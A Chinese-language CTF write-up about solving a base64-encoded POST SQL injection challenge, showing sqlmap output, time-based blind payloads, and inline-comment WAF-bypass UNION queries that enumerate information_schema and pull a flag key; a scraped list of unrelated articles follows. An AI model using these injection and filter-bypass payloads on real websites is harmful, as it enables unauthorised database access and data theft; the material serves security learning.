【Mysql sql inject】POST方法BASE64编码注入write-up
翻到群里的小伙伴发出一道POST型SQL注入题,简单抓包判断出题目需要base64编码后才执行sql语句,为学习下SQL注入出题与闯关的思路+工作不是很忙,所以花点时间玩了一下,哈哈哈哈哈哈哈哈哈
http://104.224.169.128/tasks/web12.php

<scriptlanguage="javascript">function onSearch()
{
var pwd=document.forms[].inText.value;
$.base64.utf8encode =true;
document.forms[].inputText.value=$.base64.encode(pwd);
document.forms[].submit();
</script>
**思路过程:**
首先抓包到sqlmap里面测试,这里用firefox的hackbar就可以了。明显看出表单有个隐藏字段提交的内容被base64编码过了,这类题目大多是出于为了让参赛者必须手工测试才这么做的。起初觉得这应该为难不了sqlmap,只要抓包加上–tamper base64encode扩展模块就可以了,后来发现居然只能读取到库名,加-V 5得到详细的playload,还是用sleep时间盲注判断的;what the hell?;
0x01 SQLMAP:
首次测试:列库名
inText=&inputText=JyBBTkQgNTY3MD1JRigoT1JEKE1JRCgoSUZOVUxMKENBU1QoREFUQUJBU0
UoKSBBUyBDSEFSKSwweDIwKSksMTIsMSkpPjEpLFNMRUVQKDUpLDU2NzApIEFORCAnRkt6SScgTElLRS
AnRkt6SQ%3D%3D [::][TRAFFIC IN] HTTP response [#]( OK):
Content-length:
Content-language: zh-CN
Uri: http://104.224.169.128:80/tasks/web12.php
Server:Apache/2.2.(CentOS) DAV/
Connection: close
Date:Tue,19Apr201610:: GMT
Content-type: text/html
[::][INFO] retrieved: injecttest2
[::][DEBUG] performed queries in694. seconds
current database:'injecttest2'
[::][INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\104.224.169.128'
二次测试:无法找到表名

加-V后获取的完整回显包
sqlmap resumed the following injection point(s)from stored session:
---
Parameter:#* ((custom) POST)
Type: AND/OR time-based blind
Title:MySQL>=5.0. AND time-based blind
Payload: inText=&inputText=' AND SLEEP(5) AND 'uYGj' LIKE 'uYGj
Vector: AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])
---
web server operating system:LinuxCentOS6.
web application technology:Apache2.2.15
back-end DBMS:MySQL5.0.12
available databases []:
[*] injecttest2
sqlmap resumed the following injection point(s)from stored session:
---
Parameter:#* ((custom) POST)
Type: AND/OR time-based blind
Title:MySQL>=5.0. AND time-based blind
Payload: inText=&inputText=' AND SLEEP(5) AND 'uYGj' LIKE 'uYGj
Vector: AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])
---
web server operating system:LinuxCentOS6.
web application technology:Apache2.2.15
back-end DBMS:MySQL5.0.12
No tables found
sqlmap resumed the following injection point(s)from stored session:
---
Parameter:#* ((custom) POST)
Type: AND/OR time-based blind
Title:MySQL>=5.0. AND time-based blind
Payload: inText=&inputText=' AND SLEEP(5) AND 'uYGj' LIKE 'uYGj
---
web server operating system:LinuxCentOS6.
web application technology:Apache2.2.15
back-end DBMS:MySQL5.0.12
No tables found
提取出SQLMAP的Playload
' AND 5670=IF((ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),12,1))>1),SLEEP(5),5670) AND 'FKzI' LIKE 'FKzI
0x02 手工测试
了不起手工闭合sql语句的单引号再注入嘛。哼哼哼;
(1)本地测试
摸索了下SQLMAP的playload,查了if()、ord()、mid()、IFNULL()、CAST()等函数用法;
简化sqlmap用sleep()函数,改成判断对错的形式,对比AND 5670=5670的页面返回页面内容长度判断是否存在注入,盲注猜测出数据库名,本地测试测试效果内容如下;
mysql>select * from the_flag_table where the_flag_content like '%' AND =IF((ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),,))>),,);
+----------------------+-----------------+
| the_flag_content | the_value123456 |
+----------------------+-----------------+
| flags{Hello,Iamflags||
| flags2(hello,test)||
+----------------------+-----------------+
rows inset(0.00 sec)
9 mysql>select * from the_flag_table where the_flag_content like '%' AND =IF((ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),,))>),,);
Emptyset(0.00 sec)
检测数据库名称长度;
select * from the_flag_table where the_flag_content like '%'union select (LENGTH((IFNULL(CAST(DATABASE() AS CHAR),0x20)))>),--
使用MID()函数查询出每一位的ASCII码是否正确;
' AND 5670=IF((ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),N,1))>105),5670,5671)--
**得出结果:**
库:injecttest2
用户:injectuser2@localhost
(2) 然并卵:
在我测试IF函数注入测得如火如荼的时候,突然群里少年提醒IF函数注入这种情况只能查询出DATABASE() 、USER() 和 VERSION(),即使可以查也无法跨表查询也无法跨表也无法也无….;
此时此刻我的内心是崩溃的。。。

0x03 绕过关键字测试:
只好走回老路,收集mysql注入绕过的相关文章,判断是什么被检测,判断思路;
(1)sql语句某个关键字被过滤如union、select等;
(2)特殊符号被过滤如空格、单引号、等号等;
(3)过滤某段字符串;
测试关键字、符号等情况都未触发检测策略,而当输入“’ union select 1– ”时就会触发到检测策略;
随机找相关文章逐一测试,按照下面两篇文章中提到的绕过IDS/WAF方法测试,测出内联注释的方式可以绕过。而注入点已是base64编码所以文章中的编码可以放弃使用:
《深入了解SQL注入绕过waf和过滤机制》
http://drops.wooyun.org/tips/968
Avoiding Keywords
http://websec.ca/kb/sql_injection
内联注释playload
以下是我运用内联注释的过程Playload;
字段说明
相关的库名 :injecttest2
库名编码后:696e6a6563747465737432
相关的表名:article,__key___in__this
”__key___in__this“表名编码后:0x5f5f6b65795f5f5f696e5f5f74686973
相关字段:keystr
内容获取:Key:d8b3bc4ecd8791fb
‘ order by3--
**库名**
' /*!union*/ /*!select*/ version(),2,3--
'/*!union*/ /*!select*/ (/*!select*/ schema_name from information_schema.schemata limit 1,1),2,3--
**表名**
' /*!union*/ /*!select*/ (/*!select*/ table_name from information_schema.tables where table_schema=0x696e6a6563747465737432 /*!*/limit 1,1),2,3--
**字段名**
'/*!union*/ /*!select*/ (/*!select*/ column_name from information_schema.columns where table_name=0x5f5f6b65795f5f5f696e5f5f74686973 limit 0,1),2,3--
**flag获取**
' /*!union*/ /*!select*/ (/*!select*/ keystr from __key___in__this limit 0,1),2,3--

懵逼中
在测试的时候有人也用另外一种注释方法绕过了,也把过程补充上来吧。下面是三张实例图;
' order by3--
' union select/*!*/,,--
**库名**
' union select/*!*/(select/*!*/schema_name from information_schema.schemata limit ,),,--
' union select/*!*/(select/*!*/schema_name/*!*/from information_schema.schemata/*!*/limit 1,1),2,3--
**表名**
'union select/*!*/(select/*!*/table_name/*!*/from information_schema.tables where table_schema=0x696e6a6563747465737432/*!*/limit 1,1),2,3--
**字段名**
' union select/*!*/(select/*!*/column_name/*!*/from information_schema.columns where table_name=0x5f5f6b65795f5f5f696e5f5f74686973 /*!*/limit 0,1),2,3--
**flag获取**
'union select/*!*/(select/*!*/keystr/*!*/from __key___in__this/*!*/limit 0,1),2,3--
Playload
inText=1&inputText=%JyB1bmlvbiBzZWxlY3QvKiEqLyhzZWxlY3QvKiEqL3NjaGVtYV9uYW1lLyohKi9mcm9tLyohKi9pbmZvcm1hdGlvbl9zY2hlbWEuc2NoZW1hdGEvKiEqL2xpbWl0LyohKi8xLDEpLDIsMy0tIC0=




相关实例:
[威锋官方APP存在SQL注入(SQLMAP之全POST Base64编码实例)]
http://www.wooyun.org/bugs/wooyun-2010-0177954
【Mysql sql inject】POST方法BASE64编码注入write-up的更多相关文章
- 【Mysql sql inject】【入门篇】SQLi-Labs使用 part 1【01-11】
人员流动性过大一直是乙方公司痛点.虽然试用期间都有岗前学习,但老员工忙于项目无暇带新人成长,入职新人的学习基本靠自己不断摸索.期望看相关文档就可以一蹴而是不现实的.而按部就班的学习又很难短期内将知识有 ...
- 【Mysql sql inject】【入门篇】sqli-labs使用 part 3【15-17】
Less-15- Blind- Boolian Based- String 1)工具用法: sqlmap -u --batch --technique BEST 2)手工注入 时间盲注放弃用手工了 ...
- MySQL - SQL语句优化方法
1.使用 show status 了解各种 SQL 的执行频率 mysql> show status like 'Com%'; 该命令可以查询 sql 命令的执行次数. 2.定位执行效率较低的 ...
- 【Mysql sql inject】【入门篇】sqli-labs使用 part 4【18-20】
这几关的注入点产生位置大多在HTTP头位置处 常见的HTTP注入点产生位置为[Referer].[X-Forwarded-For].[Cookie].[X-Real-IP].[Accept-Langu ...
- 【Mysql sql inject】【入门篇】SQLi-Labs使用 part 2【12-14】
这几关主要是考察POST形式的SQLi注入闭合 ## Less-12 - POST - Error Based- Double quotes- String ### 1)知识点 主要考察报错注入中的双 ...
- Sqlmap注入Base64编码的注入点
不小心删了,找快照才找到的.补回来... 上次遇到一个Base64的注入点,手工注入太麻烦,于是在网上看了一下sqlmap Base64注入的方法,如下: sqlmap -u http://xxxx. ...
- NET MVC全局异常处理(一) 【转载】网站遭遇DDoS攻击怎么办 使用 HttpRequester 更方便的发起 HTTP 请求 C#文件流。 Url的Base64编码以及解码 C#计算字符串长度,汉字算两个字符 2019周笔记(2.18-2.23) Mysql语句中当前时间不能直接使用C#中的Date.Now传输 Mysql中Count函数的正确使用
NET MVC全局异常处理(一) 目录 .NET MVC全局异常处理 IIS配置 静态错误页配置 .NET错误页配置 程序设置 全局异常配置 .NET MVC全局异常处理 一直知道有.NET有相关 ...
- 三种记录 MySQL 所执行过的 SQL 语句的方法
程式 Debug 有時後從前面第一行追起來很辛苦(程式碼太多或 compile 過), 另一種做法就是從後面追起來, 反正最後寫入的是 DB, 那就從 DB 開始往前推, 所以就是要抓程式是執行哪些 ...
- 获取图片base64编码的几种方法
前文中我们聊了 Data URI 和 base64编码,稍微回顾下.base64编码 是将数据用 64 个可打印的字符进行编码的方式,任何数据底层实现都是二进制,所以都可以进行 base64编码,ba ...
随机推荐
- 【POJ3045】Cow Acrobats(贪心)
BUPT2017 wintertraining(16) #4 B POJ - 3045 题意 n(1 <= N <= 50,000) 个牛,重wi (1 <= W_i <= 1 ...
- loj #117. 有源汇有上下界最小流
题目链接 有源汇有上下界最小流,->上下界网络流 注意细节,边数组也要算上后加到SS,TT边. #include<cstdio> #include<algorithm> ...
- 安装 Minio服务
#MINIO SERVER Minio是在Apache License v2.0下发布的对象存储服务器.它与Amazon S3云存储服务兼容. 它最适合存储非结构化数据,如照片,视频,日志文件,备份和 ...
- 【模板】堆优化Dijkstra
Dij的核心思想:全局最小值不会被其他节点更新,因此得到最小值后只需要扩展一次即可. 概念:扩展.出队 注意:vis[ ]数组表示的是每个节点是否扩展过,因此开始时vis[st]不置1. 时间复杂度\ ...
- H5新特性之canvas
canvas无疑是H5之中最受欢迎的新特性了,它可以让浏览毫无费力的画出各种图案,动画. canvas的性能不会因为画布上的图案多少而改变,因此做动画用canvas性能也相当优秀. canvas最基本 ...
- Spark进阶之路-Spark提交Jar包执行
Spark进阶之路-Spark提交Jar包执行 作者:尹正杰 版权声明:原创作品,谢绝转载!否则将追究法律责任. 在实际开发中,使用spark-submit提交jar包是很常见的方式,因为用spark ...
- Vagrant工具的安装
Vagrant工具的安装 作者:尹正杰 版权声明:原创作品,谢绝转载!否则将追究法律责任. 这篇博客源于我的北京一位好友:崔佳.在此,为了感激崔佳的帮助,特意写下这篇博客.希望对一些开发的小伙伴有些帮 ...
- 函数和常用模块【day04】:高阶函数(七)
本节内容 1.介绍 2.具体实用 3.eval()函数 一.介绍 高阶函数:变量可以指向函数,函数的参数能接收变量,那么一个函数就可以接收另一个函数作为参数. 二.具体实用 其实说白了,高阶函数功能就 ...
- Linux命令之rm
rm命令 用处:删除文件 用法:在终端上输入rm加上要删除的文件的名字(如果有的话,包括后缀) 示例: (我要删除newfile这个文件)
- java字符串转义,把<>转换成<>等字符【原】
java字符串转义,把<>转换成<>等字符 使用的是commons-lang3-3.4 中的StringEscapeUtils类 package test; import ja ...